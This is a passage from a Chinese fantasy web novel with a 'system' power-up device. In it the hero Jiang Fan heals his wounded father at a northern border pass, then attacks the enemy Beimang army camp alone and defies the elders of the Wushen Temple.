“月儿,我走之后,朝中之事,你多倚重提出‘内阁’之议的那几位老成持重之臣。军事上,可多听取兵部与有经验将领的意见。若遇难以决断之事,或觉危险,可派人往北境寻我,或…去找一个人。”
“谁?”萧璇月问。
“百花楼,柳絮。”江凡沉声道,
“她身份特殊,是四季堂的核心人物,而四季堂依附于武神殿,消息极为灵通。我虽与武神殿为敌,但柳絮此人…与我有些交情,且似乎对武神殿并非全然认同。她或许能提供一些我们不知道的情报,或是在关键时刻,有所帮助。”
萧璇月点头道:
“朕明白了,你一切小心,京城之事不必挂怀。”
江凡最后深深看了萧璇月一眼,仿佛要将她的模样刻进心里。
然后,他不再犹豫,转身,大步走向御书房门口。
“江凡!”萧璇月忍不住又唤了一声。
江凡脚步一顿,回头。
“早点回来…朕等着你。”
萧璇月声音低不可闻,却带着无比的眷恋与期盼。
江凡心头巨震,最后重重点头,留下一句“等我”,身形一晃,便已化作一道淡淡的虚影,瞬间消失在御书房内。
萧璇月站在原地,呆呆的望着他消失的方向。
云暮悄然上前,低声道:
“陛下,奴婢这就去接江大小姐和周姑娘入宫。”
“嗯,去吧。小心些。”
萧璇月收回目光,脸上重新恢复了女帝的沉着与冷静。
她知道,从现在开始,她必须独自撑起这片天空,直到她的英雄归来。
……
江凡离开皇宫,并未直接北去。
他先回了一趟镇国公府,从系统兑换一些简易预警和防御装置,暗中布置在府中关键处,并留下了警示和说明给管家。
让他松了口气的是没有碰到姐姐和周婉如,这省去他不少解释的时间。
然后,来到了百花楼后巷。
他没有走正门,而是悄无声息地出现在了柳絮所在的那间顶层雅阁窗外,轻轻叩了叩窗棂。
几乎在他叩响的同时,窗户便从里面被推开。
柳絮似乎早有预料,一袭淡紫衣裙,站在窗内,脸上没有往日的妩媚笑意,而是带着一丝凝重与担忧。
她看着窗外月色下面容冷峻的江凡,侧身让开:
“进来说。”
江凡闪身而入,窗户无声关闭。
“你果然来了---逍遥公子!”
“对不起柳姑娘,我不是故意隐瞒...”
江凡有些尴尬,想要解释,但柳絮却抬手打断他:
“不用解释,其实我早就...有了猜测,所以并不意外。”
“好吧,那就先说正事。”江凡心中感动,以后再找柳絮赔罪好了。
柳絮为他倒了杯茶,声音低沉,
“北境的消息,我已经知道了。四季堂有自己的渠道,比朝廷八百里加急,慢不了多少。”
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>江凡没有碰茶杯,目光如炬,盯着柳絮:
“你知道多少?那些黑衣高手,是什么来历?与武神殿,有何关系?”
柳絮迎着他的目光,没有回避,轻轻叹了口气:
“我就知道你会问。那些黑衣人,具体来自哪些门派,目前还不完全清楚。但可以肯定的是,他们并非北莽本土的江湖势力。
其中几人的武功路数,很像是…西域‘金刚门’、漠北‘血刀会’,以及…中原几个近年来与武神殿往来密切的二流门派。”
她顿了顿,继续道:
“武神殿虽然超然,但并非与世隔绝。它通过提供庇护、资源、乃至高深武学指点,暗中控制或影响着大陆上许多大小势力。
四季堂,不过是其中之一,且是较为外围的情报组织。像‘金刚门’、‘血刀会’这类以武力见长的门派,与武神殿的关系更为直接和密切。武神殿高层若有所命,他们不敢不从。”
“所以,是武神殿直接下令,让他们伪装身份,加入北莽军中,刺杀我父亲,攻击镇北关?”
江凡的声音冰冷。
“十有**。”柳絮点头,
“昨日两位特使败逃而回,据说在武神殿内部引起了不小的震动。有高层震怒,认为有损武神殿威严。
但直接派遣武神殿直属力量大规模介入两国战争,牵涉太大,容易引发不可测的后果。最主要的...还是忌惮公子你。
所以,暗中驱使这些依附势力出手,既达到了报复和打击大夏的目的,又能将自己摘出去,是最稳妥的选择。而且…”
她看了江凡一眼,语气复杂:
“这很可能只是开始。如果北境得手,或者你被牵制在那里,他们可能会有后续动作,目标或许是京城,或许是…南疆,甚至可能是你身边的其他人。武神殿行事,向来不择手段,且极具耐心。”
江凡沉默片刻,眼中杀机汹涌。
果然如此!
武神殿,这是要跟他玩阴的,打一场代理人战争,消耗大夏,逼他现身,甚至想将他拖在边境!
“柳姑娘,”江凡看向柳絮,目光深邃,
“多谢你告知这些。我知你身处四季堂,亦有为难之处。今日之情,江某记下了。他日若有机会,必当回报。”
第248章 生生造化丹
柳絮苦笑一下,摇了摇头:
“不必言谢。告诉你这些,于我而言,已是违背了堂规。但我…不喜武神殿这般行事。滥杀无辜,搅动兵祸,非武者之道。
江世子,你此去北境,凶险万分。那些门派高手倒也罢了,我担心的是,武神殿会不会有更厉害的人物,隐在暗处,等你入套。你…务必小心。”
“我明白。”江凡点头,站起身,
“我会小心。京城这边,还望柳姑娘,帮忙照看一二。若有什么风吹草动,尤其是关乎陛下和我国公府安危的消息,希望能知会一声。”
他知道这个要求有些过分,但他相信柳絮的为人。
柳絮深深看了他一眼,没有承诺,也没有拒绝,只是轻声道:
“我会留意。你…快去吧。镇国公的伤势,耽搁不得。”
江凡不再多言,对着柳絮抱拳一礼,身形再次化作虚影,穿窗而出,融入沉沉夜色,朝着北方,疾驰而去。
柳絮独立于百花楼顶层的窗边,夜风带着深秋的寒意拂过她单薄的衣衫,却吹不散心头的烦闷与那丝挥之不去的、隐秘的酸涩。
她望着江凡身影消失的方向,久久没有挪动脚步。
雅阁内,烛火摇曳,将她窈窕的身影投在墙壁上,拉得细长而孤寂。
空气中似乎还残留着一丝他的气息。
“逍遥公子…帝君…”
柳絮红唇微启,无声地重复着这两个如今已响彻京华、足以令天下震动的称谓。
那个看似惫懒、偶尔来她这里打听消息的镇国公世子,摇身一变,成为力挽狂澜、掌毙陆地神仙、被女帝亲口册封为‘帝君’的绝世人物。
她脑海中不由得浮现出今天获得的情报——女帝让他同**,当众官宣。
那是何等的恩宠与信任,又是何等的…昭示**。
萧璇月,那个美丽、聪慧、又杀伐果决的女子,终于将她心仪之人,牢牢地、光明正大地拥在了身边,宣告天下。
而自己呢?
柳絮嘴角泛起一丝苦涩的自嘲。
她低头,看着自己身上这袭华美却难掩风尘气息的衣裙,指尖拂过冰凉的窗棂。
百花楼花魁,四季堂核心,听起来似乎也有些能量。
可与那母仪天下、执掌江山的女帝相比,与那神秘莫测、实力通天的‘逍遥公子帝君’相配,自己又算得了什么?
不过是一介身处泥泞、身不由己的浮萍,一个见不得光的情报头子,一个…
或许在他心中,仅有些许利用价值和微薄交情的‘合作伙伴’罢了。
“江世子…不,帝君陛下…”
她低声喃喃,声音轻得仿佛叹息,
“如今的你,光芒万丈,尊贵无极,心中装着家国天下,身边伴着倾世女帝…又怎会,看得上我这身在青楼、满手污浊的柳絮呢?”
一丝自卑与怅惘,悄然爬上心头。
她并非没有幻想过,在那些与他秘密交谈、共享情报、偶尔能看到他流露真实情绪的瞬间,她也曾有过刹那的悸动与遐想。
可那点微不足道的心思,在如今这煌煌如日月的现实面前,显得如此可笑而不堪一击。
她用力闭了闭眼,将眼底那丝不合时宜的水汽逼回。
再睁开时,眼中已恢复了平日惯有的冷静与妩媚,只是深处,那抹复杂与落寞,终究难以完全掩去。
“罢了,多想无益。”
她转身,走向内室,摇曳的烛光将她的影子拖得很长,
“他有他的战场,我亦有我的泥潭。能得他一句‘记下’,能在他心中占得一丝不同的位置,或许…也该知足了。”
只是,心中那空落落的感觉,却如这秋夜的寒凉,丝丝缕缕,渗透四肢百骸。
……
北境,镇北关。
时值后半夜,关隘内却灯火通明,气氛肃杀而紧张。
城墙之上,血迹未干。
当一道流光稳稳落在关内帅府前的空地上时,附近的士兵们先是一惊。
随即看清来人的模样,瞬间爆发出压抑的惊呼和狂喜!
“是世子!是江世子!”
“不!是帝君!是逍遥公子!”
“帝君来了!帝君来了!镇北关有救了!国公爷有救了!”
消息迅速传遍整个关隘。
无数疲惫而带着伤痕的将士,从营房、从城墙、从各个角落涌出,远远地望着那道立于帅府门前、身姿挺拔如松的玄色身影。
目光中,充满了无与伦比的敬畏、崇拜、以及绝处逢生的希望!
这就是他们的帝君!
是镇国公的
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麒麟儿!
是传说中能轻易击杀陆地神仙的护国圣师逍遥公子!
他来了,仿佛就带来了无尽的力量与信心!
江凡对四周那灼热的目光和激动的低语恍若未闻。
他面沉如水,眼中只有焦急。
身形一晃,便已穿过自动分开的人群,出现在帅府内院,父亲养伤的房间门前。
门口守卫的亲兵认得他,激动得浑身颤抖,连忙让开。
江凡推门而入。
房间内,药味浓重。
江撼岳半靠在床榻上,脸色苍白如纸,气息萎靡,胸前缠着厚厚的绷带,隐隐有血色渗出。
他原本刚毅威严的面容,此刻因重伤和失血而显得苍老憔悴。
唯有那双虎目,在看到江凡闯进来的瞬间,骤然爆发出惊人的光彩。
“凡…凡儿?!”
江撼岳声音沙哑,挣扎着想坐直身体,却牵动了伤口,疼得闷哼一声,额头渗出冷汗。
“爹!别动!”
江凡一个箭步抢到床前,扶住父亲,指尖已闪电般搭上他的腕脉。
同时,目光如电,迅速扫过父亲全身。
系统赋予的满级医术瞬间发动,结合神识探查,父亲体内的情况瞬间了然于胸。
经脉多处受损,尤其是心肺附近的几条主脉,被一股阴寒歹毒的真气侵蚀,几乎断裂。
脏腑亦有震荡出血,最严重的是胸口一道掌伤,距离心脉仅差毫厘,且掌力中蕴含着诡异的腐蚀性剧毒,正不断侵蚀生机。
若非父亲本身修为已达大宗师,体魄强悍,加上之前自己留下的金丝软甲和保命丹药及时吊住了心脉,恐怕此刻早已…
江凡心中杀意更盛,但手上动作丝毫不慢。
他另一只手一翻,一个温润的玉瓶已然在手。
拔开瓶塞,一股浓郁的生命精气瞬间弥漫开来,让房间内的药味都为之一清。
“爹,把这颗丹药服下,运功化开,无论多痛,都忍住!”
江凡语气急促,倒出一颗龙眼大小的丹药,不容分说地送入江撼岳口中。
此乃系统商城中兑换的【生生造化丹】,价值一百万人气值,号称有‘肉白骨,活**’之效,是顶级的疗伤圣药。
尤其擅长修复经脉、祛除异种真气和剧毒。
第249章 没必要存在
丹药入口即化,化作一股磅礴而温和的暖流,瞬间涌入江撼岳四肢百骸。
江撼岳只觉得受损的经脉得到滋润,开始传来麻痒刺痛的感觉,那阴寒剧毒的真气遇到这股暖流迅速消融。
胸口的剧痛也以惊人的速度缓解。
他不敢怠慢,立刻凝神静气,引导着这股庞大的药力,按照家传**运转。
只见他苍白的脸色以肉眼可见的速度恢复红润,萎靡的气息节节攀升,胸前绷带下,肌肉蠕动,伤口竟在飞快愈合!
江凡也没闲着。
他并指如剑,指尖凝聚着真元,迅疾如风地点在江撼岳周身十几处大穴上,助其疏导药力,同时以自身真元为引,将那些顽固的阴寒余毒和瘀血逼出。
“噗——!”
江撼岳猛地张口,喷出一大团黑紫色的淤血,落在地上,竟发出‘嗤嗤’的腐蚀声响,将青砖地面都蚀出小坑。
吐出这口毒血,他顿觉胸口一畅,呼吸都顺畅了许多,体内真元运转再无滞涩。
整个过程,不过持续了约莫一炷香的时间。
当江凡收回手指,额角也微微见汗时,江撼岳已自行坐起,脸色虽还有些苍白,但眼神已然恢复了往日的锐利与神采,周身气息稳定,伤势竟已好了七七八八!
剩下的,只需调养一两日,便可彻底恢复,甚至因祸得福,经脉被“生生造化丹”的药力拓宽滋养,修为隐约还有所精进!
“这…这丹药…”
江撼岳活动了一下手脚,感受着体内澎湃的生机和几乎痊愈的伤势,眼中充满了震撼。
他纵横沙场数十年,什么灵丹妙药没见过?
可如此神效,几乎起死回生的丹药,简直是闻所未闻!
再联想到儿子之前留下的保命丹,以及传闻中他变出的粮食、拿出的种种奇物…
他抬起头,目光复杂地看向站在床边、眉宇间带着一丝疲惫却难掩关切的儿子。
虽然受伤严重,但将士们为了让他振作,已经将一切告诉了他。
这个他从小看着长大、曾一度恨铁不成钢、担忧其不成器的纨绔儿子,如今竟已成长到了如此地步。
不仅实力通天,手段莫测,更成了大夏的帝君,女帝倾心相许的伴侣,自己这个当父亲的,竟要靠他救命,受他庇护。
一时间,江撼岳心中五味杂陈,有欣慰,有骄傲,有恍然,也有一丝身为父亲、却未能尽到教导保护之责的惭愧。
他伸出手,重重地拍了拍江凡的肩膀,虎目微红,声音有些哽咽:
“好小子!藏得真够深的!以前爹天天发愁,怕你惹是生非,怕你撑不起国公府的门楣,怕你辜负了你母亲的期望…没想到,我儿竟是潜龙在渊,不鸣则已,一鸣惊人!好!好啊!”
他顿了顿,看着江凡,眼中充满了感慨与释然:
“什么逍遥公子,什么帝君…爹不在乎那些虚名。爹只知道,你是我江撼岳的儿子,你有出息,有担当,能护住自己想护的人,这就够了!爹…为你骄傲!”
江凡听着父亲这番发自肺腑的话,看着他那双饱经风霜却此刻充满温情与自豪的眼睛,鼻子也是微微一酸。
前世他是孤儿,今生虽有父亲和姐姐,但父亲常年戍边,原主又是个混不吝的,父子之间交流甚少,感情算不得多深厚。
可此刻,他能清晰地感受到江撼岳那份深沉如山、毫无保留的父爱,以及对他这个‘脱胎换骨’的儿子的全然接纳与骄傲。
“爹…”江凡喉咙有些发堵,千言万语,最后只化作一句带着歉意的解释,
“以前…是儿子不懂事,让您担心了。后来…后来有些事情,实在难以解释,也有不得已的苦衷,所以才…”
“不必解释!”
江撼岳大手一挥,打断了他,脸上露出豁达的笑容,
“谁还没点秘密?你如今这般成就,行事自有你的道理。爹不是迂腐之人。只要你知道自己在做什么,走的是正道,爹就支持你!”
他看了看江凡,又想起京城传来的那些消息,脸上露出促狭的笑意:
“倒是你小子,不声不响,把陛下都给…嗯,如今该叫帝后了?难怪之前为父屡次想为你向周家提亲,陛下总是推三阻四,原来早就对你…哈哈,好小子,有本事!比你爹强!”
江凡被父亲说得俊脸一红,
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有些尴尬地摸了摸鼻子:
“爹,这事儿…说来话长。等此间事了,回去再慢慢跟您说。眼下,关外的局势如何?那些偷袭的黑衣人,到底是什么来路?”
提到正事,江撼岳脸色立刻沉了下来,眼中闪过凌厉的杀意。
他示意江凡坐下,沉声道:
“凡儿,你来得正好。为父伤势已无大碍,但前夜一战,凶险万分。那些黑衣人,约有三四十人,个个都是好手,最低也是宗师修为。
领头的几人,绝对是大宗师,甚至可能…有极道宗师隐藏其中!他们训练有素,配合默契,不似寻常江湖乌合之众,倒像是某个严密组织的死士。”
他顿了顿,语气更加凝重:
“为父与他们交手时,刻意留心了几人的武功路数。其中两人,招式狠辣歹毒,掌力带着一股腥臭腐蚀之气,与十几年前为父剿灭的‘五毒教’余孽极为相似!
还有几人,刀法凌厉,充满血腥煞气,与江湖上恶名昭彰、专接暗杀买卖的‘血煞门’如出一辙!”
“五毒教?血煞门?”江凡眼中寒光一闪。
这两个名字,他并不陌生。
五毒教擅长用毒,行事诡秘阴狠。
血煞门则是纯粹的**组织,只要给钱,什么买卖都接,在大夏境内也是被通缉的邪派。
更重要的是,他清楚地记得,当初西山狩猎,女帝**,那些刺客中,就有五毒教和血煞门的人!
如今,这两派的人,竟然又出现在了北境战场,偷袭重伤了父亲!
新仇旧恨,瞬间涌上心头!
江凡身上不受控制地散发出一股杀意,让房间内的温度都似乎下降了几分。
“好,很好!”
江凡缓缓站起身,声音平静,却蕴含着寒意,
“看来上次的教训还不够深刻。既然他们自己找死,又勾结外敌,犯我大夏,伤我父亲…那这两颗毒瘤,还有他们背后的主子,就没有必要再存在于世了。”
江撼岳感受到儿子身上那股令人心悸的杀意,心中也是一凛,但更多的是欣慰与豪情。
这才是他江撼岳的儿子!
有仇必报,杀伐果断!
第250章 复仇的开始
“凡儿,你打算如何做?”
江撼岳问道,眼中也燃起战意,
“为父伤势已愈,可与你同去,点齐兵马,杀出关去,将这些藏头露尾的鼠辈连同北莽蛮子,一并剿了!”
江凡却摇了摇头,看向父亲,脸上露出一丝睥睨的笑容:
“爹,您重伤初愈,还需坐镇军中,稳定大局。杀鸡焉用牛刀?对付这些江湖败类和北莽蛮兵,何须劳师动众?”
他走到窗边,望向关外沉沉夜色中,隐约可见的北莽联营灯火,声音淡然,却带着一种霸气:
“我一人,足矣。”
江撼岳闻言,先是一愣,随即想起儿子那‘逍遥公子’的身份和传闻中掌毙陆地神仙的实力,顿时恍然,但心中仍有一丝担忧:
“凡儿,你实力虽强,但对方人多势众,且混杂在数万北莽大军之中,更有极道宗师可能隐藏…你孤身前往,是否太过冒险?不如等朝廷援兵和新式军械到了,再…”
“爹,来不及了。”江凡打断父亲,目光锐利如刀,
“多等一刻,我大夏儿郎便多流一滴血。北莽蛮子,还有那些江湖败类,必须立刻付出代价!
我要用他们的血,告诉天下人,犯我大夏者,伤我至亲者,会是什么下场!也要告诉那躲在幕后的武神殿,他们的这些小把戏,在我眼中,不值一提!”
他转过身,看着父亲,语气坚定:
“您放心,我自有分寸。区区几个藏头露尾的极道宗师和数十万蛮兵,还留不住我。您且在关内,整顿兵马,等我信号。若见关外敌营大乱,火光冲天,便可率军出击,一举击溃北莽,收复失地!”
看着儿子眼中那自信到近乎狂妄的光芒,江撼岳知道自己拦不住,也无法再劝。
他深吸一口气,重重拍了拍江凡的肩膀,只吐出两个字:
“小心!”
江凡咧嘴一笑,露出一口白牙:
“爹,等我好消息。”
话音未落,他身形一晃,已然消失在房间内,只余一句随风传来的低语:
“我去去就回。”
江撼岳走到窗边,望着儿子消失的方向,只见一道淡得几乎看不见的影子,瞬息间便掠过巍峨的城墙,没入了关外无边的黑暗之中。
夜风吹动他花白的鬓发,他握紧了拳头,眼中充满了骄傲、担忧,以及无比强烈的期待。
“擂鼓!聚将!”
江撼岳猛地转身,对着门外厉声喝道,声音瞬间传遍帅府,
“全军戒备,随时准备出关杀敌!”
“是!!!”
震天的应和声,伴随着急促的战鼓声,瞬间响彻整个镇北关。
无数将士从营房中冲出,甲胄铿锵,刀枪如林,一股肃杀而激昂的气氛,冲天而起!
所有人都知道,帝君孤身出关了!
一场风暴,即将在北莽大营,悍然掀起!
夜色如墨,朔风如刀。
“五毒教…血煞门…还有,其他令人作呕的气息。”
江凡眼神冰冷,心中的杀意不断积蓄、沸腾。
【当前人气值:25,350,000】
两千五百三十五万!
而且还在以肉眼可见的速度跳动增长!
“好!”
江凡心中一定。
实力才是应对一切危机的根本。
此去北莽大营,不仅要复仇,更要打出绝对的威慑,让北莽十年不敢南顾,更要让那藏头露尾的武神殿,感受到切肤之痛!
为了确保万无一失,也为了应对可能出现的、超出预期的强敌,他决定再次提升实力!
“系统,兑换极道宗师巅峰境界!”
他心中默念。
【叮!消耗人气值20,000,000点!开始灌注极道宗师巅峰境界修为…】
“轰——!!!”
一股恐怖能量,自冥冥中降临,轰然注入江凡体内!
体内那原本已凝练到极致的真元,开始发生质的变化,带上了一丝淡淡的、仿佛能沟通天地的‘道’的气息。
丹田气海无限扩张,经脉坚韧如神金,骨骼脏腑铭刻道纹,整个生命层次都在进行着最后的、也是最关键的一次跃迁!
这个过程持续了大约十息。
当最后一丝能量融入体内,江凡猛然睁开双眼。
眸中竟有日月星辰幻生幻灭,山川河流虚影沉浮,随即一切异象收敛,归于一片深邃无垠的平静。
他停下脚步,立于一处荒丘之巅,静静感受着体内那仿佛无穷无尽的浩瀚力量。
举手投足,似能引动风雷。
心念微动,可感方圆十里生灵气息。
这是一种真正站在凡俗武力顶峰、触摸到‘仙凡之隔’门槛的感觉!
极道宗师巅峰!
再往前一步,便是那传说中的陆地神仙
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,寿元千载,神通广大!
此刻的他,自信即使不借助任何系统道具,仅凭自身修为,也足以轻松碾压寻常的极道宗师!
而若动用底牌…
“还剩五百三十五万人气值,足够了。”
江凡眼中寒光闪烁,望向已近在咫尺的北莽大营。
五百多万,足够他兑换一张【陆地神仙体验卡】,或者启动【无敌领域】应对突发情况,甚至还能兑换些别的辅助物品。
底气,前所未有的充足。
“北莽蛮子,江湖败类,武神殿的走狗…今夜,便用你们的血,来庆贺我登临此境,也为我大夏边关,祭旗!”
话音未落,他身形再动,速度比之前快了何止一倍!
仿佛瞬移般,几个闪烁,便悄无声息地出现在了北莽大营外围的哨卡附近。
没有废话,没有预警。
江凡并指如剑,凌空轻轻一划。
“嗤——!”
一道凝练的淡金色剑气凭空而生,无声无息地掠过前方数十名正在巡逻的北莽士兵。
时间仿佛静止了一瞬。
下一刻,那数十名士兵的动作骤然定格,脸上的表情还带着茫然,随即,自腰间出现一道细细的血线,上半身缓缓滑落,鲜血冲天而起!
数十具尸体,整齐地断为两截,倒伏在地。
“敌袭!!!”
凄厉的警报声终于划破夜空,整个北莽大营如同被惊醒的巨兽,瞬间骚动起来。
无数火把点燃,人影幢幢,呼喝声、兵甲碰撞声响成一片。
最近的几队北莽士兵看到同伴瞬间惨死的景象,吓得魂飞魄散。
但军令如山,还是硬着头皮,嚎叫着举起刀枪,朝着江凡这个孤身闯入的‘疯子’扑来。
“蝼蚁。”
江凡面无表情,甚至懒得动用武技。
他只是随意地向前迈出一步,周身那属于极道宗师巅峰的恐怖威压,轰然向前方席卷!
“噗通!噗通!噗通!”
冲在最前面的上百名北莽士兵,冲锋的势头戛然而止,眼珠暴突,七窍流血,连惨叫都来不及发出,便成片成片地软倒在地,顷刻间没了声息。
不是被震碎内脏,便是被那磅礴的威压直接碾碎了神魂!
第二步迈出,威压范围扩大。
又是数百名士兵如同割麦子般倒下,死状各异,但无一例外,瞬间毙命!
第251章 惊鸿十三剑
江凡如同闲庭信步,朝着大营深处走去。
每一步踏出,都有成百上千的北莽士兵无声无息地倒下。
他所过之处,仿佛化身为死亡的代名词,留下一地狼藉的尸体和冲天的血腥。
哀嚎声、哭喊声、崩溃的尖叫声响彻营盘。
原本还算有序的北莽大军,在这完全无法理解、无法抵抗的死亡面前,开始陷入巨大的恐慌和混乱。
“魔鬼!他是魔鬼!”
“快跑啊!挡不住!根本挡不住!”
“将军!将军在哪里?!”
江凡对周围的混乱与恐惧视若无睹,他的目光,已然锁定了大营中央,那几座最为高大、气息也最驳杂强悍的营帐。
那里,才是他的目标。
“何方狂徒,竟敢孤身闯我北莽大营,屠戮我大莽儿郎!给我留下!”
终于,在江凡漫步杀穿近千人马,即将靠近中军大帐时,十几道强横的气息从不同方向暴起,厉喝着扑杀而来!
人影闪动间,已将江凡团团围住。
这些人,打扮各异,有的身着北莽将领铠甲,有的则是一身江湖客的短打劲装,甚至有人蒙着面。
但无一例外,周身气息澎湃,最低也是宗师修为,其中更有五六人,气势沉凝如山,赫然是大宗师!
更有两人,气息隐隐与天地相合,是北莽军中隐藏的顶尖高手,或者是被重金请来的客卿。
他们看着满地同袍的尸体,看着那个在尸山血海中漫步而来、却纤尘不染的玄衣青年,眼中充满了震惊、愤怒,以及一丝惊惧。
此人**如割草,手段诡异莫测,实力深不见底,绝非常人!
一名身着北莽万夫长铠甲、面容粗犷的大宗师老者,死死盯着江凡,厉声喝问:
“你是何人?报上名来,为何无故屠戮我大莽将士?难道不知道高级修为不能对普通士兵下**吗?”
江凡停下脚步,目光平静地扫过围住自己的这十几人,在那两个准极道宗师身上稍微停留了一瞬,最后嗤笑一声:
“无故?你们北莽陈兵边境,犯我疆土,杀我子民,昨夜更是派江湖败类偷袭,重伤我父镇国公…现在,跟我谈‘无故’?”
他的声音不大,却清晰地传入每个人耳中,带着一种令人心寒的平静。
“镇国公…你是…江凡?”
另一名黑衣蒙面、声音沙哑的大宗师惊疑不定地开口,随即像是想到了什么,声音陡然提高,充满了难以置信,
“你是那个逍遥公子?大夏新立的帝君?”
逍遥公子和帝君这两个名号,如同惊雷,在围住江凡的众人心中炸响!
所有人的脸色瞬间变得惨白,眼中惧意更浓,甚至有人下意识地后退了半步!
人的名,树的影!
他们已经收到‘逍遥公子掌毙武神殿陆地神仙’、‘被女帝册封为帝君”等关键信息。
只是万万没想到,这位煞星,竟然不在京城享受荣华富贵,反而孤身一人,连夜杀到了北莽大营!
“既然知道我是谁,那也该知道,我来做什么。”江凡目光转冷,
“伤我父者,犯我大夏者,今夜,一个都别想活。”
“狂妄!”
那北莽万夫长虽惊惧,但身为军中悍将,血性被激发,怒吼道,
“就算你是逍遥公子又如何?此地是我北莽十万大军营地!更有诸位江湖朋友助阵!
你孤身一人,难道还想翻天不成?对普通军士下手,算什么英雄好汉?有本事,与我们堂堂正正一战!”
“堂堂正正?”
江凡仿佛听到了天大的笑话,嗤笑一声,眼中满是嘲讽,
“你们北莽勾结江湖败类,偷袭暗算,差点害死我父亲的时候,怎么不讲‘堂堂正正’?
你们兴无名之师,犯我边境,屠戮我大夏无辜百姓的时候,怎么不讲‘堂堂正正’?现在跟我讲武德?讲公平?”
他缓缓抬起右手,掌心向上,一缕淡金色的火焰悄然升腾,声音冰冷:
“我今日来,不是跟你们比武论道。我是来…复仇的。而复仇,从来不需要讲究方式。”
最后一个字落下,他掌心已经出现一把长剑!
“不好!
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动手!”
那名极道宗师境界的黑衣蒙面人最先感受到致命的危机,狂吼一声,不再犹豫,与另一名极道宗师同时暴起。
一左一右,施展出毕生最强的绝学,一者掌力如山崩,一者刀光如匹练,带着撕裂一切的威势,轰向江凡!
其余大宗师、宗师也纷纷怒喝着,各施绝技,从四面八方攻来,真气光芒交织成死亡罗网,誓要将这狂妄的帝君绞杀当场!
面对这足以让任何极道宗师初期都手忙脚乱的**,江凡却连眼皮都没抬一下。
他只是轻轻抬起手中的剑,语气十分平静。
“惊鸿十三剑!”
从获得系统后,他还没好好施展过系统奖励的**武技。
后来遇到强敌,要么使用体验卡,要么就是无敌领域。
面对这些修为最高才极道宗师初期的修士,即使不用任何**,也能吊打他们。
看似平淡的一剑击出,却化为漫天剑影,精准地迎向了每一个攻来的敌人!
“小心!”
惊呼声中,剑光与各种真气攻击碰撞在一起。
没有惊天动地的**,只有‘嗤嗤’的轻响。
那些足以开山裂石的掌力、刀光、剑气,在接触到剑光的瞬间,便迅速消融、湮灭!
而剑光去势不减,在众人惊骇欲绝的目光中,瞬间穿破他们的护体真气。
“啊——!!!”
凄厉叫瞬间响起!
无论是宗师还是大宗师,甚至包括那两名极道宗师,在被剑光沾身的刹那,护体真气被瞬间洞穿!
不过眨眼之间,十几名在北莽军中堪称顶尖战力的高手,便化作了十几具尸体!
静。
死一般的寂静,以江凡为中心,迅速向四周蔓延。
原本还在远处鼓噪、试图冲上来的北莽士兵,全都僵在了原地,脸上充满了恐惧!
这…这是什么剑法?
十几位宗师以上的高手,其中更有两位触摸到极道宗师门槛的强者,就这么…被一招击杀了?
眼前这位看似年轻的帝君,简直是不可战胜的神魔!
第252章 我说到做到
“逃!快逃!”
不知是谁先发出一声崩溃的哭喊,原本就士气濒临崩溃的北莽士兵,彻底失去了所有抵抗的勇气。
一个个哭爹喊娘,丢盔弃甲朝着四面八方溃逃。
整个中军营盘,乱成了一锅粥。
江凡没有理会那些溃兵。
他的目光,已然穿透了混乱的人群,落在了前方那座装饰着狼头旗帜的金顶大帐上。
那里,几道气息虽然竭力隐藏,在他眼中却清晰可见。
“北莽元帅,还有…藏头露尾的老鼠们,该出来见见面了。”
他声音平静却清晰地传入了金顶大帐之中。
帐帘猛地被掀开。
数道身影疾掠而出,落在帐前空地上。
为首一人,身高九尺,满面虬髯,身穿镶金狼头铠,正是北莽征南大元帅,拓跋雄。
他身边,站着五六人,打扮与方才**那些江湖客类似,但气息更加阴冷晦涩,其中三人,赫然散发着极道宗师后期的威压!
另外几人,也是大宗师巅峰,这绝对不是北莽能拥有的实力。
更引人注目的是,在这几人身侧稍后的位置,还站着两名身穿暗金色长袍、面容普通的老者。
他们身上没有任何真气波动,却给人一种深不可测、仿佛与周围环境融为一体的诡异感觉。
江凡的目光,第一时间就落在了这两人身上。
陆地神仙!
而且是两个!
一个气息稍弱,应是陆地神仙初期。
另一个,气息更加深沉晦涩,竟是陆地神仙中期!
果然,武神殿的人,真的在这里,而且看来是早有准备,在此‘恭候’他。
“江凡!逍遥公子!大夏帝君!”
拓跋雄强作镇定,但微微颤抖的声音和眼中的惊惧出卖了他,
“你、你竟敢孤身闯营,杀我将士,屠我客卿!真当我北莽无人吗?”
江凡的目光掠过拓跋雄,直接落在那两名暗金长袍老者身上,语气带着嘲讽:
“北莽有没有人,我不清楚。但武神殿的走狗,倒是来了两条。怎么,昨日派来的废物不够看,今日换了两条老狗?还是说,你们武神殿,只会玩这些背后捅刀、驱使走狗的把戏?”
“放肆!”
那名陆地神仙初期的老者脸色一沉,眼中寒光闪烁,
“黄口小儿,不知天高地厚!杀我武神殿外围成员,伤我特使,已是死罪!殿主念你修为不易,本是爱才,派我等前来,给你最后一个机会!”
旁边那陆地神仙中期的老者,缓缓睁开半阖的眼眸,目光刺向江凡,声音带着一种居高临下的威严与威胁:
“江凡,逍遥公子,帝君…名头倒不少。可惜,在绝对的力量面前,皆是虚妄。我武神殿传承万载,势力遍布大陆,掌控上百王朝帝国,上千宗门大派皆俯首。
陆地神仙,在我殿中,亦非顶尖。你区区一人,纵然有几分天赋机缘,达到陆地神仙之境,又岂能与我武神殿抗衡?”
他顿了顿,语气带着施舍与不容拒绝:
“殿主有令,只要你肯低头认错,发下天道誓言,从此效忠武神殿,听凭调遣。之前你击杀沧溟子、打伤特使之过,便可一笔勾销。
甚至,这北莽之事,我武神殿亦可替你摆平,让你大夏安稳吞下北境利益。你,依旧可做你的逍遥帝君,享尽荣华。如何?这是你最后,也是唯一的机会。”
这番话说得冠冕堂皇,看似给出选择,实则是赤裸裸的威胁与逼迫。
以武神殿的庞然势力为后盾,以绝对的武力为威慑,逼江凡屈服,成为其掌控大夏、甚至搅动大陆风云的一枚棋子。
若是不从,后果不言而喻。
江凡静静听完,脸上没有任何表情。
良久,他才轻轻叹了口气,摇了摇头,语气中带着一种近乎怜悯的嘲讽:
“我原以为,武神殿这等存在,多少该有些气度。没想到,尽是一群藏头露尾、自以为是、只会以势压人、玩些阴私勾当的货色。”
他抬起眼,目光扫过两名武神殿长老,语气带着一股冲天的傲气与决绝:
“让我江凡低头?效忠?当你们的狗?真是天大的笑话!”
“我江凡此生,上不跪天,下不跪地,中间不跪任何所谓的神佛仙魔!我只跪父母,只敬值得敬重之人!想
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让我当狗?你们武神殿,也配?!”
他上前一步,周身气势轰然爆发,带着滔天的杀意与不屈的战意,直冲云霄!
